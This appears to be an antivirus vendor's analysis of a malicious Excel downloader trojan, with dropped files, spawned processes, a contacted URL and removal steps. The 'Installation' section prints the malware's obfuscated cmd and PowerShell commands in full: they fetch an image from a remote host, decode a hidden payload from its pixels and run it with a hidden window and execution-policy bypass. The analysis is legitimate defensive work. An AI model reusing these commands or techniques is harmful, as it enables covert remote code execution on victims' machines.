Analysis by: John Rainier Navato
ALIASES:

Trojan-Downloader.MSExcel.Agent.jt (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 64,512 bytes
File Type: XLS
Initial Samples Received Date: 11 Dec 2024
Payload: Connects to URLs/IPs, Drops files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %User Temp%\{Random Characters}.ps1
  • %User Temp%\{Random Characters}.psm1
  • %Application Data%\Microsoft\Office\Recent\{Malware File Name}.xls.LNK

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • %System%\cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!"
  • %System%\cmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://{BLOCKED}.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( );
  • %System%\cmd.exe /S /D /c" EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://{BLOCKED}.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) "
  • %System%\CliP.ExE
  • %System%\cmd.exe CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
  • %System%\WindowsPowerShell\v1.0\powershell.exe -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; & ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )

Other Details

This Trojan connects to the following possibly malicious URL:

  • https://{BLOCKED}.imgbox.com/ca/88/A2ZSlW6S_o.png

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.186.05
FIRST VSAPI PATTERN DATE: 10 Jan 2023
VSAPI OPR PATTERN File: 18.187.00
VSAPI OPR PATTERN Date: 11 Jan 2023

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • Downloader.VBA.TRX.XXVBAF01FF059

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\{Random Characters}.ps1
  • %User Temp%\{Random Characters}.psm1
  • %Application Data%\Microsoft\Office\Recent\{Malware File Name}.xls.LNK

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.O97M.POWLOAD.SMPSI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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